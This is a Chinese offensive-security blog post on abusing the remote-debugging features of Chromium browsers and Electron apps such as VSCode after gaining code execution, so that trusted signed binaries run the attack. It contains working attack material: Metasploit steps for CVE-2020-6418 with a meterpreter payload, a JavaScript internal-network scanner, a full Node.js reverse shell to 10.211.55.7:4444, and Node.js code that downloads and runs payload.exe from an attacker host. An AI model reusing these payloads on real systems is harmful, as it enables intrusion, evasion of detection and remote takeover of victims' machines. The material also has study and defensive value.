0x01 简介
应用程序开发过程中,开发占总时间一半的话,调试可能会占一小半。读书破万卷,下笔如有神,但是在编程领域似乎破万卷也得通过不断地调试,找出程序存在的问题,完善程序功能
为方便开发维护人员调试,很多程序提供了远程调试功能,远程调试,例如 Nodejs
、Chromium
等,今天这篇文章我们就要利用这个功能来为帮助我们解决攻击过程中的问题
0x02 远程调试演示
以 Chrome
为例,Chrome
开启远程调试
chrome --remote-debugging-port=9222
Edge
进行远程调试
edge://inspect/
如果用 Chrome
或其他浏览器调试,修改为对应的语法
由于我们使用了默认的 9222
进行远程监听,所以默认直接就识别出来了,此时可以在每个 tab
下执行 inspect
等操作
可以点击上方 +
号查看更多功能
基本和本地浏览器调试工具没有区别,非常人性化
0x03 远程调试利用思路
从上面演示可以看到,远程调试似乎是在本地监听指定端口,并使用 WS
协议进行数据传输,是否可以全局监听呢?也就是监听 0.0.0.0
,经过查询,Chromium
系浏览器可以通过以下启动参数设置监听host
chrome --remote-debugging-port=9222 --remote-debugging-address=0.0.0.0
这个参数似乎在 MacOS
中不起作用,所以用 Windows
中的Edge
浏览器来设置远程调试启动
Windows 11
中 Edge
默认位置
C:Program Files (x86)MicrosoftEdgeApplicationmsedge.exe
在 MacOS
中的 Chrome
中进行调试
chrome://inspect
虽然虚拟机中的 Edge
浏览器调试端口是默认的 9222
,但是由于监听的 Host
不在本地,默认不会在列表中,我们需要进行配置
刷新后,发现卵用没有,并没有出现远程调试
这个时候就懵了呀,网上只能找到这个参数同样执行失败的帖子,却没有找到合适的答案,于是又开始了排错
-
升级浏览器版本 —— 失败 -
调换参数位置 —— 失败 -
使用 Edge
调试Edge
—— 失败 -
使用 Chrome
调试Chrome
—— 失败 -
使用 Edge
调试Chrome
—— 失败 -
使用 Chromium
进行调试 —— 失败 -
使用虚拟机调试物理机 —— 失败
问了各种 GPT
也没有找到答案,最终还是功夫不负有心人,找到了解决办法,加上一个参数 --headless
最终命令如下
"C:Program Files (x86)MicrosoftEdgeApplicationmsedge.exe" --remote-debugging-port=9222 --remote-debugging-address=0.0.0.0 --headless
由于加了 --headless
参数,所以不会有带界面的浏览器程序产生
点击 Open
并没有发生什么效果,这不成啊,这是给我们伟大的调试事业添堵呀,还得从启动参数上下手
"C:Program Files (x86)MicrosoftEdgeApplicationmsedge.exe" --remote-debugging-port=9222 --remote-debugging-address=0.0.0.0 --headless --new-window "https://www.baidu.com/"
刷新调试器
出现了,这样我们就可以通过 inspect
这个页面调用控制台了
PS: 注意,这参数并不是空格和等号随便替换的,这才邪乎呢,建议提前测试好
0x04 浏览器远程调试利用
假设我们获取了一台服务器的RCE
等能力,能够以这样的方式启动浏览器,则可以以微软官方或者其他拥有可信签名的浏览器启动一个远程调试
直接用上面的案例,当然,你还可以加上一些减弱安全策略的参数,例如 --no-sandbox
1. 浏览任意网页
我发现调试功能太健全了,不仅可以修改 URL
地址,还可以直接与网页进行交互
是否可以用来下载呢?本地开一个web下载服务器
有访问,但是在服务器上并没有文件落地
经过测试,访问浏览器本身协议实现的URL也不能成功
edge://about
edge://accessibility
edge://app-service-internals
edge://app-settings
edge://application-guard-internals
edge://apps
edge://attribution-internals
edge://augloop-internals
edge://autofill-internals
edge://blob-internals
edge://bluetooth-internals
edge://browser-essentials
edge://collected-cookies-dialog
edge://commerce-internals
edge://compat
edge://components
edge://conflicts
edge://connectors-internals
edge://crashes
edge://credits
edge://data-viewer
edge://device-log
edge://discards
edge://download-internals
edge://downloads
edge://edge-dlp-internals
edge://edge-urls
edge://enp
edge://extensions
edge://extensions-internals
edge://favorites
edge://flags
edge://floc-internals
edge://gcm-internals
edge://gpu
edge://help
edge://histograms
edge://history
edge://history-clusters-internals
edge://indexeddb-internals
edge://inspect
edge://interstitials
edge://launch-source
edge://local-state
edge://mam-internals
edge://management
edge://media-engagement
edge://media-internals
edge://metrics-internals
edge://modules
edge://net-export
edge://net-internals
edge://network-errors
edge://newtab
edge://ntp-tiles-internals
edge://omnibox
edge://on-device-internals
edge://optimization-guide-internals
edge://password-manager-internals
edge://policy
edge://pre-launch-fre
edge://predictors
edge://prefs-internals
edge://print
edge://private-aggregation-internals
edge://process-internals
edge://profile-internals
edge://push-internals
edge://quota-internals
edge://sandbox
edge://serviceworker-internals
edge://settings
edge://signin-internals
edge://site-engagement
edge://suggest-internals
edge://super-resolution-popup
edge://sync-internals
edge://system
edge://tab-search.top-chrome
edge://terms
edge://topics-internals
edge://tracing
edge://translate-internals
edge://ukm
edge://usb-internals
edge://user-actions
edge://version
edge://wallet/passwords
edge://web-app-internals
edge://webrtc-internals
edge://webrtc-logs
edge://webxr-internals
edge://badcastcrash/
edge://inducebrowsercrashforrealz/
edge://inducebrowserdcheckforrealz/
edge://crash/
edge://crashintegrity/
edge://crash/rust
edge://crashdump/
edge://kill/
edge://hang/
edge://shorthang/
edge://gpuclean/
edge://gpucrash/
edge://gpuhang/
edge://memory-exhaust/
edge://memory-pressure-critical/
edge://memory-pressure-moderate/
edge://inducebrowserheapcorruption/
edge://crash/cfg
edge://heapcorruptioncrash/
edge://quit/
edge://restart/
Chrome
浏览器就是换个协议名
2. 浏览历史记录
edge://history
刚才测试也失败了
3. 收集信息
主要是系统和浏览器基本信息
对前端比较熟悉的朋友应该了解,浏览器窗口有个全局对象 —— window
,基本上所有的信息都在其中,尤其是其中的 navigator
4. CVE 漏洞利用
既然可以浏览任意网页,同时我们可以获取到浏览器的详细版本信息,那么触发 CVE
也就有了有利条件,这里以一个比较简单的直接浏览网页进行触发
如果直接以 Chrome --new-window "https://www.baidu.com"
的方式触发 CVE
可能更容易留下痕迹,并且更加容易被杀软拦截,但也有好处,可以不用监听端口
1) 配置环境
以 CVE-2020-6418
为例,我们找一个低版本的 Chrome
Google Chrome < 80.0.3987.122
由于是从非官方网址下载,换个测试系统(Win10),之后安装旧版本的 Chrome
https://google-chrome.cn.uptodown.com/windows/download/2181156
安装后 Chrome
会自动更新,为了保证复现环境,我们关闭 Chrome
的自动更新,参考
https://www.cnblogs.com/mq0036/p/13947021.html
这个默认是西班牙语,调整后显示中文
执行以下远程调试命令,漏洞触发需要加上 --no-sandbox
"C:Program Files (x86)GoogleChromeApplicationchrome.exe" --no-sandbox --remote-debugging-port=9222 --remote-debugging-address=0.0.0.0 --headless --new-window "https://www.baidu.com/"
Chrome
设置远程调试后虽然没有出现 ws://0.0.0.0:9222
,但是从系统监听端口可以看出,还是成功了的
2) 远程调试
配置远程调试的 host
和端口信息
3) 配置 PoC
使用 MSF
生成 PoC
msfconsole -q
> search cve-2020-6418
> use exploit/multi/browser/chrome_jscreate_sideeffect
> set payload windows/x64/meterpreter/reverse_http
> set lhost 10.211.55.7
> set lport 4444
> exploit
4) 通过远程调试触发 PoC
成功获取 meterpreter
的 shell
当然也可以直接使用远程执行直接加载恶意网页
"C:Program Files (x86)GoogleChromeApplicationchrome.exe" --no-sandbox --remote-debugging-port=9222 --headless --new-window "http://10.211.55.7:8080/4EMolIkU57"
直接使用 --headless
不加 --remote-debugging-port=9222
是会显示出浏览器窗口的,甚至他们俩的顺序反了都不行
5. 内网探测
现代浏览器已经禁止 webrtc
泄漏内网 IP,所以除非有 RCE 或者其他方式获取了内网IP段,不然可能会比较费劲,这一步也不是推荐的方法
目前来看,内网探测仅支持 http
以及 https
协议,其他协议可能要通过延迟等信息进行判断,下面给出 js
脚本
// 假设你要遍历的子网为 10.211.55.0/24
const subnetBase = '10.211.55.';
const subnetStart = 1;
const subnetEnd = 255;
let successfulUrls = [];
let promises = [];
const check_url = (url) => {
return fetch(url, { mode: 'no-cors' })
.then(response => {
// 成功时,将URL添加到成功的URL数组中
successfulUrls.push(url);
console.log('URL 可以访问 ', url);
return true;
})
.catch(error => {
return false;
});
}
// 循环遍历并打印IP地址
for (let i = 1; i >= subnetStart && i <= subnetEnd ; i++) {
let sub_ip = subnetBase + i.toString()
let url = 'http://' + sub_ip + ':80'
promises.push(check_url(url));
}
// 使用Promise.all等待所有请求完成
Promise.all(promises)
.then(() => {
console.log("所有请求完成,成功访问的URL列表如下:");
successfulUrls.forEach(url => console.log(url));
})
.catch(error => {
console.error('在处理请求队列时发生错误:', error);
});
受害终端启动调试的网页这次我们也不用百度了,因为如果使用百度,开发者工具控制台也是百度的,百度默认有一些安全策略,我们可以自行搭建没有安全策略的网页,或者找一些安全策略比较少的网页进行打开获取控制台,以 Ubuntu 的一个镜像站为例,它是支持 http
协议的
"C:Program Files (x86)GoogleChromeApplicationchrome.exe" --no-sandbox --remote-debugging-port=9222 --remote-debugging-address=0.0.0.0 --headless --new-window "http://mirrors.dc.clear.net.ar/ubuntu-releases/"
我们使用上面的代码对内网 10.211.55.0/24
的 80
端口进行探测
由于报错是浏览器产生的,而不是代码,所以没有找到好的方法屏蔽,不过没关系,最后会同意显示结果
成功探测内网地址,结合网页浏览,可以进一步展开攻击
6. 读取系统文件
是否可以使用 file
协议读取系统文件呢?
我们在 C
盘下放一个 flag.txt
,内容为 success
在调试地址栏输入
file:///C:/flag.txt
这里调试器会将我们的冒号直接去掉,之后在前面加上 http
,但是原生浏览器是可以直接读取文件的,所以大家可以尝试是否可以绕过
用 js
请求更是被限制得死死的
但好在上面这些内容都不是这篇文章的重点
0x05 Electron 远程调试利用
可能很多朋友没有接触过 Electron
,简单来说就是将 Nodejs
和 Chromium
结合起来开发桌面程序的技术,其中 Nodejs
负责系统相关功能, Chromium
负责前端渲染,开发者可以直接使用前端三件套 html+css+js
进行桌面程序开发,具体详见官网
https://www.electronjs.org/zh/
常见的程序中也有部分采用 Electron
开发的,例如
-
VSCode -
Discord -
Typora -
Microsoft Teams -
Signal -
Goby -
蚁剑 -
Yakit
参考 https://www.electronjs.org/apps
很多朋友不知道的是,大部分 Electron
程序自带调试功能,而且可以设置监听 0.0.0.0
,这里就以 VSCode
为例
1. 下载最新稳定版 VSCode
https://vscode.download.prss.microsoft.com/dbazure/download/stable/863d2581ecda6849923a2118d93a088b0745d9d6/VSCodeUserSetup-x64-1.87.2.exe
2. 安装 VSCode
程序有微软的签名,这也是为什么我们选择 VSCode
3. 开启调试
"C:UsersjoinAppDataLocalProgramsMicrosoft VS CodeCode.exe" --inspect="0.0.0.0:5555"
VSCode
没有找到 --headless
参数,也可以理解,我是个编辑器呀
4. 连接远程调试
还是使用 Chrome
进行连接
成功进行连接,执行 Nodejs
代码
require('child_process').execSync('calc')
成功执行命令
5. 上线 MSF
既然能执行 nodejs
代码,那可操作空间就太大了,以上线 MSF
为例
1) MSF 生成 payload
msfvenom -p nodejs/shell_reverse_tcp LHOST=10.211.55.7 LPORT=4444 --platform nodejs
(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(4444, "10.211.55.7", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();
2) 配置监听
3) 调试器中执行恶意代码
看来 global
这个全局对象不存在,得修改一下代码
(function() {
var cmd = "cmd";
var net = require("net"),
cp = require("child_process"),
util = require("util"),
sh = cp.spawn(cmd, []);
var client = this;
var counter = 0;
function StagerRepeat() {
client.socket = net.connect(4444, "10.211.55.7",
function() {
client.socket.pipe(sh.stdin);
if (typeof util.pump === "undefined") {
sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
}
});
socket.on("error",
function(error) {
counter++;
if (counter <= 10) {
setTimeout(function() {
StagerRepeat();
},
5 * 1000);
} else {}
});
}
StagerRepeat();
})();
成功获取反弹 shell
4) 提升至 Meterpreter
很遗憾,目前的 MSF
并不能直接使用 sessions -u 1
进行提升
改变思路,通过 Nodejs
远程下载二进制后门,并执行
生成 Payload并建立 web 服务器
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.7 LPORT=4445 -f exe -o payload.exe
建立监听
使用 Nodejs
远程下载并执行
const os = require('os');
const http = require('http');
const fs = require('fs');
const path = require('path');
const { execSync } = require('child_process');
// 获取临时目录路径
const tempDir = os.tmpdir();
const fileName = 'payload.exe';
const savePath = path.join(tempDir, fileName); // 将文件保存到临时目录
// 使用Node.js原生HTTP模块发起GET请求
http.get('http://10.211.55.7/payload.exe', (response) => {
// 创建可写流
const writeStream = fs.createWriteStream(savePath);
// 当请求响应时,将数据流管道到文件流中
response.pipe(writeStream);
// 监听文件写入完成事件
writeStream.on('finish', () => {
console.log('文件下载完成,位于:', savePath);
// 确保文件写入磁盘完成后再尝试执行
fs.access(savePath, fs.constants.R_OK | fs.constants.X_OK, (err) => {
if (err) {
console.error('无法执行文件,可能是因为权限问题或文件不存在:', err);
} else {
try {
execSync(`"${savePath}"`, { shell: true, stdio: 'inherit' });
} catch (error) {
console.error('执行exe文件时出错:', error);
}
}
});
});
writeStream.on('error', (error) => {
console.error('文件下载或保存时发生错误:', error);
});
// 关闭响应
response.on('end', () => {
console.log('下载完毕');
});
});
成功获取 Meterpreter shell
经过两个实验,我们成功利用带有微软或谷歌签名的程序获取了 Meterpreter
的权限
往期文章
原文始发于微信公众号(NOP Team):远程调试的利用